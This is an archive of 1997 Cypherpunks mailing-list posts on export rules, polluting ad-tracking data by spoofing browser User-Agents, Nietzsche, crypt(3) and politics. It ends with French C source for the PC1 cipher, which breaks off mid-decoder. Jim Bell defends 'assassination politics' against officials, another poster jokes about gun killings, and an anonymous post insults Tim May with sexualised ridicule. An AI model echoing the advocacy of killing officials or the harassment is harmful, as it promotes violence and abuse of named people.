>>  Unique Equipment: Computers of 10,000 CTP, or greater,
>
>Pardon my igorance: What is CTP?
>Who is the author of that list?
>

CTP is an acronym for Composite Theoretical Performance, 
a definition of computer capability used in the Export 
Administration Regulations. See EAR Section 740.7 
Computers (CTP) at:

   http://jya.com/740.htm

The US Department of Defense, Office of the Under Secretary 
of Defense for Acquisition and Technology, is the author of 
the Militarily Critical Technologies List (MCTL). See 
attribution at:

   http://jya.com/mctl08.htm

This should not be contrued to mean that I'm not also ignorant
of what I quote and quack about weird lists of holy-shit technology.






From azur at netcom.com  Sun Apr 20 17:04:42 1997
From: azur at netcom.com (Steve Schear)
Date: Sun, 20 Apr 1997 17:04:42 -0700 (PDT)
Subject: SSL weakness affecting links from pa
Message-ID: 


>| That would only work until someone abuses it. People could create web
>| robots to run around selling referers and several gigabytes of
>| worthless cookie space. Worthless, because nobody cares about the web
>| browsing habits of J. Random Robot, and they certainly don't want to
>| blow $50 e-bucks on the bot's repeated visits.
>
>        Thats true, but can they avoid it?  I'm considering writing a
>database pollution bot, which runs around, claiming to be Mozilla or
>IE, and randomly following a link once per minute.  Why?  Database
>pollution.  If there are a few thousand of these randomly collecing
>links and creating arbitrary (or perhaps biased) viewing habbits in
>the databases of the advertisers, then their individual data becomes
>worth less.  They'll need to actively solicit peoples permission to
>collect data before doing so, to avoid people polluting their
>databases.
>
>        Similarly, putting a randomly generated email address in those
>sign up fields produces pollution in the data used by spammers, which
>costs them (and no one else) money.  If you run your own site, you can
>even bit bucket the email, trading their bandwidth for yours, and
>making them think they're delivering more junk email than they are.
>
>Adam

Now that's the CP spirit!

Whenever you wish to influence policy, follow the money.

--Steve







From jimbell at pacifier.com  Sun Apr 20 17:52:31 1997
From: jimbell at pacifier.com (Jim Bell)
Date: Sun, 20 Apr 1997 17:52:31 -0700 (PDT)
Subject: David Friedman and assassination politics
Message-ID: <199704210052.RAA13982@mail.pacifier.com>


At 14:13 4/20/97 -0700, Declan McCullagh wrote:
>Jim,
>For the record: I doubt everyone agrees with your "libertarianism is
>intertwined with assassination politics" line... I suggest that one can
>believe in minimal government and other libertarian mainstays without
>seeing a need to kill off those whom we dislike, be they IRS agents or
>surly supermarket clerks. 
>-Declan

Sure, they can BELIEVE in those things without seeing the need, etc, but
then again they can believe in the tooth fairy and Santa Claus.  Their
position would be overly optimistic, in my opinion.  

I think a more realistic way to phrase it is this:  "If a society is
sufficiently defective so as to contain those flaws (ones which could have
been corrected using AP), that society will also contain flaws which make it
impossible to be called libertarian."


Jim Bell
jimbell at pacifier.com






From snow at smoke.suba.com  Sun Apr 20 18:11:56 1997
From: snow at smoke.suba.com (snow)
Date: Sun, 20 Apr 1997 18:11:56 -0700 (PDT)
Subject: Nietzsche and Crypto Anarchy (fwd)
Message-ID: <199704210036.TAA00289@smoke.suba.com>



I forwarded Mr. May's post to a buddy of mine, Ronald Carrier, who is 
getting his Piled Higher and Deeper in Continental Philosophy. I asked 
for comments, and recieved permission to forward his comments to the 
list. Here it is:

Forwarded message:
> From rcarrier at suba.com  Sat Apr 19 18:02:57 1997
> From: "Ronald M. Carrier" 
> Good afternoon.
> Thanks for forwarding this to me.  I've taken a look at it, and it seems 
> to me to be a good introductory indication of what Nietzsche was up to.  
> There are just three points on which I'd like to offer a bit of 
> clarification.
> 
> (1) Nietzsche as "anti-systematic" thinker: this is something that is 
> also referred to when Nietzsche is called a "perspectival" thinker.  
> Nietzsche thinks that thinking was an activity that is ultimately in the 
> service of life, where "life" is a process of discovering and developing 
> one's capacities for acting to the fullest.  (And on this understanding 
> of life, thinking would itself be one of these capacities for acting.)  
> For Nietzsche, to develop a system is to develop a perspective, and so to 
> develop a certain way of living.  Indeed, he regards systems primarily as 
> _symptoms_ of various ways of living.
> 
> What he dislikes about systems is that they are perspectives that are, so 
> to speak, monopolistic--they are ways of thinking (and, in the end, ways 
> of living) to which everyone must submit themselves and which deny that 
> there are other ways of thinking and living that may be better suited for 
> someone.  Nietzsche is anti-system in that he thinks that life is best 
> served if one is able to develop in oneself the capacity for multiple 
> perspectives, multiple ways of thinking and living.  Nietzsche himself 
> attempts to do this in his own writing--hence the aphoristic style of 
> which he was fond.  (This is not to say that Nietzsche was not capable of 
> developing a sustained argument--_On_the_Genealogy_of_Morals_ does 
> precisely this.)
> 
> For Nietzsche, thinking best serves life and is symptomatic of life at 
> its best (i.e. a life that is active and deals creatively with the 
> circumstances that chance throws up for it, rather than one that is 
> reactive and tries to minimize the role of chance and change in living) 
> if it is the interplay of as many different perspectives as one can handle.
> 
> (2) Nietzsche and evolution: I think it's good that the author pointed 
> out the connections that can be made between Nietzsche and contemporary 
> evolutionary biology.  Nietzsche did not think much of Darwin, but this 
> is not so much because he disagreed with what Darwin wrote (I'm not sure 
> whether he had read Darwin himself or not) as because he disagreed with 
> what others tended to make of what Darwin wrote (or what they supposed he 
> wrote).  Nietzsche disagrees, not with Darwin's notion of natural 
> selection, but with the popular notion of evolution (a notion which 
> Darwin did not himself employ in his works).
> 
> "Evolution" presupposes that what organisms there are and what they are 
> like is something that is predetermined and that inexorably unfolds 
> across time.  Natural selection, even in Darwin, is incompatible with 
> evolution in this sense because natural selection posits chance and 
> change as both ineliminable and necessary to the process of speciation.  
> And as I pointed out above, Nietzsche thinks that chance and change are 
> ineliminable from life and necessary for the development of life at its 
> best.  "Evolution" also involves the idea that there is some one best way 
> of life that is the unavoidable outcome of evolution, namely whatever way 
> of being human that the "evolutionary" thinker thinks is best.  This is 
> for Nietzsche a reactive way of thinking.
> 
> But while Nietzsche's way of thinking is compatible with contemporary 
> evolutionary biology, I think it's misleading to claim that his 
> understanding of life is "biological."  Nietzsche thinks that biology 
> plays an ineliminable and necessary part in life, but he also thinks that 
> life is more than just a matter of biology.  (Nietzsche was suspicious of 
> science because he thought that it too aspired to be a system in the 
> sense of a monopolistic perspective.  In other words, he disliked scientism.)
> 
> (3) Authoritarian v. libertarian: The author claims that these are 
> contradictory positions in Nietzsche.  I don't think they are.  They 
> would be contradictory if Nietzsche held that everybody was equally 
> capable of attaining to life at its best.  Nietzsche is _very_ clear in 
> his denial of this.  He thinks that reactive thinking and living is 
> typical of the great mass of people and suitable for them.  They are able 
> to live as well as they do precisely because a confinement to one 
> perspective suits them--expose them to the possibility that their 
> perspective is not suitable for all, and they will fall into despair 
> (because from their perspective the way of life they lead must be 
> suitable either for all or for none).
> 
> Only a very few are, in Nietzsche's view, capable of thinking and living 
> actively.  Insofar as the ideal political arrangement would be one that 
> would discover and cultivate these active few and put them in positions 
> where they could do their best, while letting everybody else get along 
> more or less as their reactive lives permit, it would be libertarian for 
> the best and authoritarian for the rest.  To the extent that 
> libertarianism presupposes equality of nature, Nietzsche is not a 
> libertarian; to the extent that authoritarianism is based on a reactive 
> way of life to which both master and slave are beholden, Nietzsche is not 
> an authoritarian.  His politics are, if anything, those of Aristotle in 
> the _Politics_.  (This is not terribly surprising--Nietzsche was a 
> philologist by training and so had a wide familiarity with ancient Greek 
> writings.)
> 
> HTH.
> 
> Later...
> 
> --
>                    Ronald M. Carrier -- rcarrier at suba.com
>                Graduate Student in Philosophy, Northwestern U.
>                   "Philosophy--I'm only in it for the money."






From ericm at lne.com  Sun Apr 20 19:23:01 1997
From: ericm at lne.com (Eric Murray)
Date: Sun, 20 Apr 1997 19:23:01 -0700 (PDT)
Subject: SSL weakness affecting links from pa
In-Reply-To: <199704202032.PAA05999@homeport.org>
Message-ID: <199704210221.TAA00232@slack.lne.com>


Adam Shostack writes:
> 
> 	Thats true, but can they avoid it?  I'm considering writing a
> database pollution bot, which runs around, claiming to be Mozilla or
> IE, and randomly following a link once per minute.  Why?  Database
> pollution.  If there are a few thousand of these randomly collecing
> links and creating arbitrary (or perhaps biased) viewing habbits in
> the databases of the advertisers, then their individual data becomes
> worth less.  They'll need to actively solicit peoples permission to
> collect data before doing so, to avoid people polluting their
> databases.

That's an interesting thought.
As it happens last week I added a way in Cookie Jar to allow sending HTTP
User-agent to some sites... the reason is that I ran into a couple that
absolutely have to know what type of browser you are using, and if given no
User-agent deliver either meaningless HTML or nothing at all.
Well Fargo and wIrEd.cOm are the ones I found.

So I added a rule to pass the User-agent line to sites like that.
However I edit out the part that informs the server what OS etc
you are running.  The User-agent is usually something of the form

User-Agent: Mozilla/3.0Gold (X11; U; Linux 6.6.6 i386)

and it's the part in the parens that I really object to, the part
that says what browser you have seems to be what the sites in question
need to deliver useable HTML.

I briefly had it send:

User-Agent: Mozilla/3.0Gold (why; they; fuck do you care)

but now it sends nothing at all in the parens.


In order to maximally fuck up stats, what should be put into
the windowing system/OS fields?  It has to be something that
exists and is fairly common, so that its not able to be thrown out
by the stats-gathers.  I could use "(X11; MVS; IBM MVS some version number)"
but that'd be easy to throw out, even though ports of X to MVS really did
exist.

Maybe I'll just make every copy of Cookie Jar look like
it's running on Linux.


BTW, Wells Fargo's on-line banking sucks dead gerbils through a dirty
garden hose.  The interface is poor, it checks that you're using
SSL not by actually trying it, but by checking the User-agent
field to see if you're using a browser that supports SSL, and
then when I try to transfer money between accounts, it refuses with
no explanation.  A fine example of how NOT to do things.


-- 
   Eric Murray  ericm at lne.com         Privacy through technology!
  Network security and encryption consulting.    PGP keyid:E03F65E5 





From adam at homeport.org  Sun Apr 20 19:35:40 1997
From: adam at homeport.org (Adam Shostack)
Date: Sun, 20 Apr 1997 19:35:40 -0700 (PDT)
Subject: SSL weakness affecting links from pa
In-Reply-To: <199704210221.TAA00232@slack.lne.com>
Message-ID: <199704210231.VAA07373@homeport.org>


Eric Murray wrote:


| User-Agent: Mozilla/3.0Gold (X11; U; Linux 6.6.6 i386)

| In order to maximally fuck up stats, what should be put into
| the windowing system/OS fields?  It has to be something that
| exists and is fairly common, so that its not able to be thrown out
| by the stats-gathers.  I could use "(X11; MVS; IBM MVS some version number)"
| but that'd be easy to throw out, even though ports of X to MVS really did
| exist.
|
| Maybe I'll just make every copy of Cookie Jar look like
| it's running on Linux.

	I think you should rotate through a list, in case they're
keeping track of it in conjunction with your other information.  Thus,
have the same cookies comeing from different user agents, say rotate
between Rhapsody on PowerPC and Linux on an Alpha.

	Alternately, have it come from Internet Exploder on various
UNIX boxes.  (Unless thats now generally available.)

Adam


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From declan at well.com  Sun Apr 20 19:51:20 1997
From: declan at well.com (Declan McCullagh)
Date: Sun, 20 Apr 1997 19:51:20 -0700 (PDT)
Subject: David Friedman and assassination politics
In-Reply-To: <199704210052.RAA13982@mail.pacifier.com>
Message-ID: 


I can't believe I'm being sucked into an AP argument with Jim Bell but
here goes...

Bell sees AP as a means to a freer society. But libertarianism is all
about how means (Hillary's health care plan) don't justify the ends
(everyone has health care). AP is not about libertarianism, it is about
anarchism.

And to clear up any possible misunderstanding, I don't think that
D.Friedman mentioned Jim Bell or AP, just some of the underlying concepts
-- that have, after all, been discussed here for years before Bell ever
found this list. *sigh*

-Declan


On Sun, 20 Apr 1997, Jim Bell wrote:

> At 14:13 4/20/97 -0700, Declan McCullagh wrote:
> >Jim,
> >For the record: I doubt everyone agrees with your "libertarianism is
> >intertwined with assassination politics" line... I suggest that one can
> >believe in minimal government and other libertarian mainstays without
> >seeing a need to kill off those whom we dislike, be they IRS agents or
> >surly supermarket clerks. 
> >-Declan
> 
> Sure, they can BELIEVE in those things without seeing the need, etc, but
> then again they can believe in the tooth fairy and Santa Claus.  Their
> position would be overly optimistic, in my opinion.  
> 
> I think a more realistic way to phrase it is this:  "If a society is
> sufficiently defective so as to contain those flaws (ones which could have
> been corrected using AP), that society will also contain flaws which make it
> impossible to be called libertarian."






From jer+ at andrew.cmu.edu  Sun Apr 20 20:13:21 1997
From: jer+ at andrew.cmu.edu (Jeremiah A Blatz)
Date: Sun, 20 Apr 1997 20:13:21 -0700 (PDT)
Subject: SSL weakness affecting links from pa
In-Reply-To: <199704210221.TAA00232@slack.lne.com>
Message-ID: <0nKhgr200YUf0PCEk0@andrew.cmu.edu>


Eric Murray  writes:
> Maybe I'll just make every copy of Cookie Jar look like
> it's running on Linux.

On an i386. Fight bloatware, influence markets, win friends!

Jer

(No PGP sig `cuase I'm running an unencrypted connection)
(Yeah, I store my private key on a multi-user machine, so sue me.)

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole





From lucifer at dhp.com  Sun Apr 20 20:35:27 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Sun, 20 Apr 1997 20:35:27 -0700 (PDT)
Subject: Nietzsche and Crypto Anarchy (fwd)
Message-ID: <199704210335.XAA09255@dhp.com>


snow wrote:
> > From: "Ronald M. Carrier" 

> >  Nietzsche is anti-system in that he thinks that life is best
> > served if one is able to develop in oneself the capacity for multiple
> > perspectives, multiple ways of thinking and living.  Nietzsche himself
> > attempts to do this in his own writing--hence the aphoristic style of
> > which he was fond.

  Of course, if Nietzsche posted his multiple perspectives to
the CypherPunks list anonymously he would probably be castigated
for being too cowardly to maintain a consistent list persona, and
thus contributing nothing of value to the list.

TruthNietzsche






From frisbee at nni.com  Sun Apr 20 21:13:36 1997
From: frisbee at nni.com (Adam Tuliper)
Date: Sun, 20 Apr 1997 21:13:36 -0700 (PDT)
Subject: crypt(3) questions
Message-ID: <01BC4DE9.1F7AEE00@ascend571.nni.com>


I believe that the crypt(3) function for unix password encryption is called a one-way function.. in that it is not reversible.
Why is this? IE what makes it one way..
              Adam








From stewarts at ix.netcom.com  Sun Apr 20 22:39:09 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Sun, 20 Apr 1997 22:39:09 -0700 (PDT)
Subject: Short AP Rant [POLITICAL NOISE]
In-Reply-To: <199704210227.TAA10829@proxy3.ba.best.com>
Message-ID: <3.0.1.32.19970420212255.00656b50@popd.ix.netcom.com>


At 07:27 AM 4/20/97 +0800, jamesd wrote:
>The election of various unpleasant Islamic Fundamentalist regimes.
>In particular, it seems likely that had the generals not violently 
>overthrown democracy in Algeria, the democratically elected
>representatives of the people would have proceeded to kill off
>everyone they deemed insufficiently Islamic, a very substantial
>minority, a minority which would doubtless have included most of 
>the generals and their families.

The Islamic party didn't start killing off foreigners until the
French and other Westerners supported the generals who overthrew them.
It's funny how a modern liberal democracy like the US will
go to war and kill 6000 people in Panama just because one of their
ex-employees is embarassing them by not leaving the Presidency after
his term is up ("We had to protect democracy"), but when a military
junta takes over from a non-pro-CIA government, they support the military.

>American Civil war.
(We've done that rant here a few times :-)




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From FSBO-3.COM at mail1y-int.prodigy.net  Sun Apr 20 23:07:09 1997
From: FSBO-3.COM at mail1y-int.prodigy.net (FSBO-3.COM at mail1y-int.prodigy.net)
Date: Sun, 20 Apr 1997 23:07:09 -0700 (PDT)
Subject: Days 3 Took It
Message-ID: <199704210605.CAA46704@mail1y-int.prodigy.net>


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From jimbell at pacifier.com  Sun Apr 20 23:07:51 1997
From: jimbell at pacifier.com (Jim Bell)
Date: Sun, 20 Apr 1997 23:07:51 -0700 (PDT)
Subject: David Friedman and assassination politics
Message-ID: <199704210607.XAA11316@mail.pacifier.com>


At 19:51 4/20/97 -0700, Declan McCullagh wrote:
>Bell sees AP as a means to a freer society. But libertarianism is all
>about how means (Hillary's health care plan) don't justify the ends
>(everyone has health care). AP is not about libertarianism, it is about
>anarchism.

I disagree with the implications of that last sentence.

For as long as I can recall, there has been an ongoing debate in libertarian
circles between "minarchists" (those that believe in a minimal government)
and "anarchists" (those who believe in no government.)  I was once a
"minarchist," simply because I couldn't figure out a logical way to totally
obsolete government functions.  Then, I did, so I became an anarchist.  It
sounds like you are still a minarchist.  

Now, I could just say, "go ahead, be that way", but the thing to acknowledge
is that there is, at least, a DEBATE on this issue.  I didn't deny it back
when I was a minarchist; I don't deny it today, as an anarchist.  Neither
should you.

AP is, implicitly I believe, an anarchy-producing system.  That is (or at
least, may be) a libertarian position, particularly for an
anarchist-libertarian.   _Minarchists_ may be bothered by it, but that
doesn't (necessarily) make it non-libertarian.


Jim Bell
jimbell at pacifier.com






From frantz at netcom.com  Sun Apr 20 23:38:44 1997
From: frantz at netcom.com (Bill Frantz)
Date: Sun, 20 Apr 1997 23:38:44 -0700 (PDT)
Subject: David Friedman and assassination politics
In-Reply-To: <199704202015.NAA01741@mail.pacifier.com>
Message-ID: 


At 2:13 PM -0700 4/20/97, Declan McCullagh wrote:
>For the record: I doubt everyone agrees with your "libertarianism is
>intertwined with assassination politics" line... I suggest that one can
>believe in minimal government and other libertarian mainstays without
>seeing a need to kill off those whom we dislike, be they IRS agents or
>surly supermarket clerks.

I thought I'd pass on this quote:

"Four more jeeks run up to join them.  Y.T. counts two more revolvers and a
pump shotgun.  Any more of these guys and they'll be able to form a
government."

  - Snow Crash p84, Neal Stephenson

I have always thought that what the newspapers call "anarchy" is not the
absence of government, but rather the presence of too many competing
governments.

I prefer nonviolent solutions myself.


-------------------------------------------------------------------------
Bill Frantz       | God could make the world   | Periwinkle -- Consulting
(408)356-8506     | in six days because he did | 16345 Englewood Ave.
frantz at netcom.com | not have an installed base.| Los Gatos, CA 95032, USA







From toto at sk.sympatico.ca  Mon Apr 21 00:22:45 1997
From: toto at sk.sympatico.ca (Toto)
Date: Mon, 21 Apr 1997 00:22:45 -0700 (PDT)
Subject: Short AP Rant [POLITICAL NOISE]
In-Reply-To: <3.0.1.32.19970420212255.00656b50@popd.ix.netcom.com>
Message-ID: <335B1377.49DF@sk.sympatico.ca>


Bill Stewart wrote:
> It's funny how a modern liberal democracy like the US will
> go to war and kill 6000 people in Panama just because one of their
> ex-employees is embarassing them by not leaving the Presidency after
> his term is up ("We had to protect democracy"), but when a military
> junta takes over from a non-pro-CIA government, they support the military.

  Democracy is where 51% of the people can murder the other
49% of the people--legally.
  [fade to close-ups of people being dragged screaming to their death]
  [pan to politican]
  "I don't know where these people get off, complaining like that. They 
had their chance at the polls.
  "Hey, it's not perfect, but it's the best system we've got."

  Of course, even in a democracy, 10% of the people can murder the
other 90% of the people, if there is some pressing need, such as
protecting them from drug dealers and pornographers.
  [fade to trains (running on time) with cattle-cars filled with people]
  [pan to Commander in Chief]
  "Look, the people spoke when they elected the people who put in
place the Secret Emergency Powers Act, and appointed the members of
the Double-Secret Regulatory Commission.
  "They can hardly complain about those they have given Executive 
Powers exercising that power, now, can they? Especially when it is
in their own long-term interest?
  "Hey, it's not perfect, but it's the best system we've got."

  Myself, I'm partial to the Smith&Wesson 'Democracy' model, which
can be purchased as the 'AP Home Democracy Kit', complete with a
"One Bullet--One Vote" bumper-sticker.

  ----- Government Escrowed Key -----
  WeVegoTyoUrnAMEaNdweKNoWWheREyouLIveaNDyoURPHonE#AnD
  WHeReyOUvEbeeNANdthenaMEOFyOUrdoGAnDWhaTYoureaDAndwH
  aTYouwRIteandIFYOUFUCKWITHUSYOU'RETOASTanDMaYBeEVenI
  FyOUdON't
  ----- End of Rights & Freedoms -----

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html







From toto at sk.sympatico.ca  Mon Apr 21 00:47:44 1997
From: toto at sk.sympatico.ca (Toto)
Date: Mon, 21 Apr 1997 00:47:44 -0700 (PDT)
Subject: David Friedman and assassination politics
In-Reply-To: <199704202015.NAA01741@mail.pacifier.com>
Message-ID: <335B19A3.6E0B@sk.sympatico.ca>


At 2:13 PM -0700 4/20/97, Declan McCullagh wrote:
 >I suggest that one can
 >believe in minimal government and other libertarian mainstays without
 >seeing a need to kill off those whom we dislike, be they IRS agents or
 >surly supermarket clerks.

  You can, but it takes most of the fun out of it.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From nobody at huge.cajones.com  Mon Apr 21 04:27:11 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 21 Apr 1997 04:27:11 -0700 (PDT)
Subject: [ADMINISTRATIVIUM] Accounts payable
Message-ID: <199704211127.EAA29286@fat.doobie.com>


Timmy May is a licenced sexual pervert who wears women's 
underwear.

 .   ___ o Timmy May
 ^z\/o\ o
 ^z/\_~_/
 '   '






From alexandermail at hotmail.com  Mon Apr 21 05:36:19 1997
From: alexandermail at hotmail.com (alex)
Date: Mon, 21 Apr 1997 05:36:19 -0700 (PDT)
Subject: description of the PC1 cipher - please comment
Message-ID: <12401499302290@bplorraine.fr>


-----BEGIN PGP SIGNED MESSAGE-----

Voici l'algorithme de codage PC1 ( Pukall Cipher 1 ). C'est un algorithme
de chiffrement en continu ( chaque octet est chiffre separement ) en mode
CFB ( chaque octet chiffre modifie le codage des suivants ). Il a ete cree
en 1991 par Alexandre Pukall. L'algorithme est sous copyright mais en
diffusion freeware. L'utilisation de l'algorithme PC1 et du protocole qui
suivra est libre comme les modifications eventuelles a la condition unique
que le nom de l'auteur soit mentionne dans la documentations et dans le
logiciel qui pourrait se servir de l'algorithme.

Il est preferable, si la cle utilisee avec l'algorithme PC1 est entree par
l'utilisateur, de recommander a ce dernier d'utiliser des cles hachees.

Il choisit une phrase facile a retenir :

Rene et moi sommes alles a la peche samedi !

et il prend la premiere lettre de chaque mot :

Remsaalps! : ceci est la cle qu'il utilise ( l'algorithme PC1 accepte tous
les caracteres ASCII et les caracteres EBCDIC de valeur 0 a 255 ).

A noter que les variables utilisees dans l'algorithme, sont globales afin
de permettre un brassage entre les differents appels de la fonction code()
dans la fonction principale assemble ().

Le type 'unsigned int' est une variable sur 16 bits ( valeur de 0 a 65535
).
Le type 'unsigned char' est une variable sur 8 bits ( valeur de 0 a 255 ).
Le type 'short' est une variable sur 8 bits ( valeur de 0 a 255 ).

****************************************************************************
****************************************************************************
****************************************************************************
************************

/* Fichier PC1COD.c */
/* ecrit en Borland Turbo C 2.0 sur PC */
/* Algorithme de CODAGE PC1 ( Pukall Cipher 1 ) */
/* (c) Alexandre PUKALL 1991 */
/* Utilisation et modifications libres si le nom de l'auteur est */
/* inclu dans le programme final et la documentation du logiciel */
/* dans un endroit accessible librement par l'utilisateur comme */
/* les fenetres A propos des logiciels sous Windows sur PC */
/* Cet algorithme a ete ecrit en Assembleur 6809 Motorola */
/* le code C ci-dessous est la traduction rapide de cet algorithme */
/* le fonctionnement est identique */

/* A noter que dans cet exemple le programme de codage et le programme */
/* de decodage sont separes */
/* vous pouvez les reunir en un seul en modifiant la zone K */
/* qui est legerement differente pour le codage et le decodage */
/* a cause du lien entre le texte clair et la cle de chiffrement */


#include 
#include 
unsigned int ax,bx,cx,dx,si,tmp,x1a2,x1a0[5],res,i,inter,cfc,cfd,compte;
unsigned char cle[11]; /* les variables sont definies de facon globale */
short c;
FILE *in,*out;

fin()
{
/* on quitte en effacant toutes les variables utilisees par l'algorithme */

for (compte=0;compte<=9;compte++)
 {
  cle[compte]=0;
 }
ax=0;
bx=0;
cx=0;
dx=0;
si=0;
tmp=0;
x1a2=0;
x1a0[0]=0;
x1a0[1]=0;
x1a0[2]=0;
x1a0[3]=0;
x1a0[4]=0;
res=0;
i=0;
inter=0;
cfc=0;
cfd=0;
compte=0;
c=0;

exit(0);
}
assemble()
{

   x1a0[0]= ( cle[0]*256 )+ cle[1];
   code();
   inter=res;

   x1a0[1]= x1a0[0] ^ ( (cle[2]*256) + cle[3] );
   code();
   inter=inter^res;

   x1a0[2]= x1a0[1] ^ ( (cle[4]*256) + cle[5] );
   code();
   inter=inter^res;

   x1a0[3]= x1a0[2] ^ ( (cle[6]*256) + cle[7] );
   code();
   inter=inter^res;

   x1a0[4]= x1a0[3] ^ ( (cle[8]*256) + cle[9] );;
   code();
   inter=inter^res;
   i=0;
}

code()
{
   dx=x1a2+i;
   ax=x1a0[i];
   cx=0x015a;
   bx=0x4e35;

   tmp=ax;
   ax=si;
   si=tmp;

   tmp=ax;
   ax=dx;
   dx=tmp;

   if (ax!=0)
    {
      ax=ax*bx;
    }

   tmp=ax;
   ax=cx;
   cx=tmp;

   if (ax!=0)
    {
      ax=ax*si;
      cx=ax+cx;
    }

   tmp=ax;
   ax=si;
   si=tmp;
   ax=ax*bx;
   dx=cx+dx;

   ax=ax+1;

   x1a2=dx;
   x1a0[i]=ax;

   res=ax^dx;
   i=i+1;
 }
 main()
 {
   si=0;
   x1a2=0;
   i=0;


   /* C'est le cle ci-dessous ('Remsaalps!') que vous pouvez changer */

   strcpy(cle,"Remsaalps!"); /* copie les 10 caracteres de la cle dans cle
*/

   /* ouverture du fichier ESSAI.TXT qui sera code */
   /* ceci n'existe pas dans l'algorithme original ou tout se passe en RAM
*/
   /* il doit exister un fichier ESSAI.TXT dans le repertoire courant ! */
   /* a vous de le creer ! */

   if ((in=fopen("essai.txt","rb")) == NULL) {printf("\nErreur lecture
fichier ESSAI.TXT !\n");fin();}
   if ((out=fopen("sortie.txt","wb")) == NULL) {printf("\nErreur d'ecriture
fichier SORTIE.TXT !\n");fin();}
   /* le fichier code se trouve dans SORTIE.TXT */

     while ( (c=fgetc(in)) != EOF)  /* la variable c recoit l'octet lu dans
le fichier */
      {
	 assemble(); /* execute la routine de codage */
	 cfc=inter>>8;
	 cfd=inter&255;  /* cfc^cfd = octet aleatoire */

	 /* ZONE K !!!!!!!!!!!!! */
	 /* ici le melange de c ( octet clair ) avec cle[compte] se situe */
	 /* avant le codage de c */

	 for (compte=0;compte<=9;compte++)
	 {
	   /* on melange l'octet clair lu dans le fichier */
	   /* a la cle utilisee pour le codage */

	   cle[compte]=cle[compte]^c;
	 }

	 c = c ^ (cfc^cfd);
	 fputc(c,out); /* ecriture de l'octet code dans le fichier SORTIE.TXT */
      }
      fclose (in);
      fclose (out);
      fin();
   }


****************************************************************************
****************************************************************************
****************************************************************************
************************



****************************************************************************
****************************************************************************
****************************************************************************
************************



/* Fichier PC1DEC.c */
/* ecrit en Borland Turbo C 2.0 sur PC */
/* Algorithme de DECODAGE PC1 ( Pukall Cipher 1 ) */
/* (c) Alexandre PUKALL 1991 */
/* Utilisation et modifications libres si le nom de l'auteur est */
/* inclu dans le programme final et la documentation du logiciel */
/* dans un endroit accessible librement par l'utilisateur comme */
/* les fenetres A propos des logiciels sous Windows sur PC */
/* Cet algorithme a ete ecrit en Assembleur 6809 Motorola */
/* le code C ci-dessous est la traduction rapide de cet algorithme */
/* le fonctionnement est identique */

/* A noter que dans cet exemple le programme de codage et le programme */
/* de decodage sont separes */
/* vous pouvez les reunir en un seul en modifiant la zone K */
/* qui est legerement differente pour le codage et le decodage */
/* a cause du lien entre le texte clair et la cle de chiffrement */


#include 
#include 
unsigned int ax,bx,cx,dx,si,tmp,x1a2,x1a0[5],res,i,inter,cfc,cfd,compte;
unsigned char cle[11]; /* les variables sont definies de facon globale */
short c;
FILE *in,*out;

fin()
{
/* on quitte en effacant toutes les variables utilisees par l'algorithme */

for (compte=0;compte<=9;compte++)
 {
  cle[compte]=0;
 }
ax=0;
bx=0;
cx=0;
dx=0;
si=0;
tmp=0;
x1a2=0;
x1a0[0]=0;
x1a0[1]=0;
x1a0[2]=0;
x1a0[3]=0;
x1a0[4]=0;
res=0;
i=0;
inter=0;
cfc=0;
cfd=0;
compte=0;
c=0;

exit(0);
}
assemble()
{

   x1a0[0]= ( cle[0]*256 )+ cle[1];
   code();
   inter=res;

   x1a0[1]= x1a0[0] ^ ( (cle[2]*256) + cle[3] );
   code();
   inter=inter^res;

   x1a0[2]= x1a0[1] ^ ( (cle[4]*256) + cle[5] );
   code();
   inter=inter^res;

   x1a0[3]= x1a0[2] ^ ( (cle[6]*256) + cle[7] );
   code();
   inter=inter^res;

   x1a0[4]= x1a0[3] ^ ( (cle[8]*256) + cle[9] );;
   code();
   inter=inter^res;
   i=0;
}

code()
{
   dx=x1a2+i;
   ax=x1a0[i];
   cx=0x015a;
   bx=0x4e35;

   tmp=ax;
   ax=si;
   si=tmp;

   tmp=ax;
   ax=dx;
   dx=tmp;

   if (ax!=0)
    {
      ax=ax*bx;
    }

   tmp=ax;
   ax=cx;
   cx=tmp;

   if (ax!=0)
    {
      ax=ax*si;
      cx=ax+cx;
    }

   tmp=ax;
   ax=si;
   si=tmp;
   ax=ax*bx;
   dx=cx+dx;

   ax=ax+1;

   x1a2=dx;
   x1a0[i]=ax;

   res=ax^dx;
   i=i+1;
 }
 main()
 {
   si=0;
   x1a2=0;
   i=0;


   /* C'est le cle ci-dessous ('Remsaalps!') que vous pouvez changer */

   strcpy(cle,"Remsaalps!"); /* copie les 10 caracteres de la cle dans cle
*/

   /* ouverture du fichier SORTIE.TXT qui sera decode */
   /* ceci n'existe pas dans l'algorithme original ou tout se passe en RAM
*/
   /* il doit exister un fichier SORTIE.TXT dans le repertoire courant ! */
   /* c'est le fichier code par l'algorithme PC1COD.c */

   if ((in=fopen("sortie.txt","rb")) == NULL) {printf("\nErreur lecture
fichier SORTIE.TXT !\n");fin();}
   if ((out=fopen("essai.txt","wb")) == NULL) {printf("\nErreur d'ecriture
fichier ESSAI.TXT !\n");fin();}
   /* le fichier decode se trouve dans ESSAI.TXT */

     while ( (c=fgetc(in)) != EOF)  /* la variable c recoit l'octet lu dans
le fichier */
      {
	 assemble(); /* execute la routine de codage */
	 cfc=inter>>8;
	 cfd=inter&255;  /* cfc^cfd = octet aleatoire */

	 /* ZONE K !!!!!!!!!!!!!! */
	 /* ici le melange de c ( octet clair ) se situe apres le */
	 /* melange avec cle[compte] car il faut decoder d'abord */
	 /* l'octet chiffre */

	 c = c ^ (cfc^cfd);

	 for (compte=0;compte<=9;compte++)
	 {
	   /* on melange l'octet clair lu dans le fichier */
	   /* a la cle utilisee pour le codage */

	   cle[compte]=cle[compte]^c;
	 }

